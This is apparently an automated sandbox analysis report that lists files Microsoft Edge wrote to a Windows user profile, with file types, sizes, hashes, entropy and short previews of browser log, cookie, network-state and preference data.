File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216415891420594
Encrypted:	false
SSDEEP:	12:qhDM+v4Yeb8rcHEZrELFUt8RSg/+RSDMV5LYeb8rcHEZrEZSJ:04Yeb8nZrExg8WLYeb8nZrEZe
MD5:	B9A9C1C4A756F35DBBA6E7889E86096A
SHA1:	A49758B2B19C7258D834656511DE512FC4FA7B43
SHA-256:	FE8584D249B2B2002D420646A08C5D9511AF653355DD0D476959A6C559781930
SHA-512:	6786CE2133FFF5B553C37F67BA9C5CCC061EC67D90F78D5DFFB3D7191C0E16F4E9B409323AA1CDD90940ED2AB62BF98293F25FA98858E2A95B4698613B35BB95
Malicious:	false
Preview:	2024/11/26-04:09:21.301 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-04:09:21.302 1efc Recovering log #3.2024/11/26-04:09:21.302 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216415891420594
Encrypted:	false
SSDEEP:	12:qhDM+v4Yeb8rcHEZrELFUt8RSg/+RSDMV5LYeb8rcHEZrEZSJ:04Yeb8nZrExg8WLYeb8nZrEZe
MD5:	B9A9C1C4A756F35DBBA6E7889E86096A
SHA1:	A49758B2B19C7258D834656511DE512FC4FA7B43
SHA-256:	FE8584D249B2B2002D420646A08C5D9511AF653355DD0D476959A6C559781930
SHA-512:	6786CE2133FFF5B553C37F67BA9C5CCC061EC67D90F78D5DFFB3D7191C0E16F4E9B409323AA1CDD90940ED2AB62BF98293F25FA98858E2A95B4698613B35BB95
Malicious:	false
Preview:	2024/11/26-04:09:21.301 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/26-04:09:21.302 1efc Recovering log #3.2024/11/26-04:09:21.302 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.652363365983998
Encrypted:	false
SSDEEP:	24:IZWLlQHvXmKOWykXZ5W2sFV03y1x4uMyuWnUlHXkTN5zgFHHmi28/V:IZ+mvSaXZA2iV03Sx4tyuup+HH328t
MD5:	ABAE13882C5BA1910C687E8AAA93D96B
SHA1:	A1C23188F7CC44C590AF3EB9B6C803D67B2B1CB3
SHA-256:	6454EA4105F4975FCB33074FC60229CC2E3630837B303E774AAE7D4811E59102
SHA-512:	02EEC7544D7ECAAC9E0FDE1DBB8D1EC0D73CBC1F076A91F7BFE7C01A5D2D1217AFEA69DFB63BF368890A8900E3C2AFD66C921AAA26A5B38E6BD787F4A7DBB992
Malicious:	false
Preview:	!....................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732612172781.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732612174047.._https://ntp.msn.com..MUID!.110737551C0664D7127822161D1F6521.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732612172884,"schedule":[-1,33,26,-1,-1,27,-1],"scheduleFixed":[-1,33,26,-1,-1,27,-1],"simpleSchedule":[19,23,40,45,16,31,32]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732612172726.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Tue Nov 26 2024 04:09:32 GMT-0500 (Eastern Standa

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.204184092908818
Encrypted:	false
SSDEEP:	6:HKZkQL+q2P923oH+Tcwt8a2jMGIFUt8YKZusG1Zmw+YKZqZSQLVkwO923oH+Tcw2:qHyv4Yeb8EFUt8RE1/+RAZjR5LYeb8bJ
MD5:	A4C657D73C518705049B26EC41D7BB76
SHA1:	33B6F146D546377ABC0B33D446AB16265ED522C7
SHA-256:	AA985C2A6DF4DDBEB58AAF0704C0C8A2089A908BB4B8E789AC9EF78771786FD0
SHA-512:	E9F0031B643A40E67BFDA0BAE63459AEDC14A61AFCE843D6779CF132E15127A51F3A23F4A21B27D97553E893D2A84B7EF3AAC4FC20C3A350EB2451418A05CB80
Malicious:	false
Preview:	2024/11/26-04:09:17.652 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-04:09:17.653 1d18 Recovering log #3.2024/11/26-04:09:17.657 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.204184092908818
Encrypted:	false
SSDEEP:	6:HKZkQL+q2P923oH+Tcwt8a2jMGIFUt8YKZusG1Zmw+YKZqZSQLVkwO923oH+Tcw2:qHyv4Yeb8EFUt8RE1/+RAZjR5LYeb8bJ
MD5:	A4C657D73C518705049B26EC41D7BB76
SHA1:	33B6F146D546377ABC0B33D446AB16265ED522C7
SHA-256:	AA985C2A6DF4DDBEB58AAF0704C0C8A2089A908BB4B8E789AC9EF78771786FD0
SHA-512:	E9F0031B643A40E67BFDA0BAE63459AEDC14A61AFCE843D6779CF132E15127A51F3A23F4A21B27D97553E893D2A84B7EF3AAC4FC20C3A350EB2451418A05CB80
Malicious:	false
Preview:	2024/11/26-04:09:17.652 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/26-04:09:17.653 1d18 Recovering log #3.2024/11/26-04:09:17.657 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a2f3c12-b04a-4353-ab3e-5beaf107b547.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.323551739168133
Encrypted:	false
SSDEEP:	48:YcgCzsZEats0fc7RsF6leeBkEsFI/CgHxbx9+:FEH226keBkxGTxV9+
MD5:	AAE4612824BF98FBD7E784D6ED685289
SHA1:	97EB347F71F810EE853CB701D4DBF5D87FACC44F
SHA-256:	DAA3D45E48415F55733858469A01DF8C1D862C05222850F45724020C9A40D0A9
SHA-512:	F126E8949C9B2059DB1780DF67ECCD26483896D2981BE90D9B44AE22F793AE59C0E200AD8B6123DEE820D80AF2CD3120E9BB28964C65909430C4E5ECE4E8F2FF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379677761423694","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379677764336783","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377179384134230","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\34bf7b00-e7b8-44a5-9e64-b162a5ac671d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8c9740b4-02fb-45b2-a01b-af1b4c3d3017.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\97f6c573-dd12-494c-a4f0-ea55ceb1181b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9df03dc3-9b33-483f-a10f-30e6aaad0e4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.767475322642005
Encrypted:	false
SSDEEP:	96:te+AuNks8RYDat+5J8hTg0o8SX3+YZTC6MTWw0kBbs8ggRXckO0L/ZJV8Y:tTNOSWtWJuto8ou2iqQeYRXcf0L/ZJVb
MD5:	2D773F81D4C97C60C942644EE4530124
SHA1:	A58478E26F09D2155EFCE30D8A5A65EBCDBAA7DF
SHA-256:	9B96E54404838F773BD96E63C4D61C95C0046F67CF176BAF5E432EE1FC14CEE1
SHA-512:	DA6FD76DA7BD97045629996A435F7BA952DF9338BA04A9D4365EE7C221001B3C1C7CA639995FE9D1989FD3212FAEF077EF9696F8276ED58E03BB81F70D9253F8
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF48e32.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1118007160868062
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWy:uIEumQv8m1ccnvS6av
MD5:	D2952A3792993FBF570909E4AF51B738
SHA1:	B75663F6DFEB52AED314C370A296923531F66E07
SHA-256:	9279A0A4868891BDCE77CDC2C7B00AC1C3A343A95D9876667425579174C594A5
SHA-512:	21D129EA02D2A1FEB5FA158823A5F8BCBD60113D16A23A8CE162F8F2A83F232F7A940D284C0F0B9E78B17079487CFCF7F01D76BEB4DB5E55F7CA7335FEE71B58
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF37ec6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3905a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF4b8ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries~RF4e089.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\af7c9a44-7e56-4612-a0c0-e88e74428aa1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e2ea6e04-9acf-49c1-8348-94f493fceb6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f84a2fbc-9985-4ec9-9be1-7963fee5a202.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
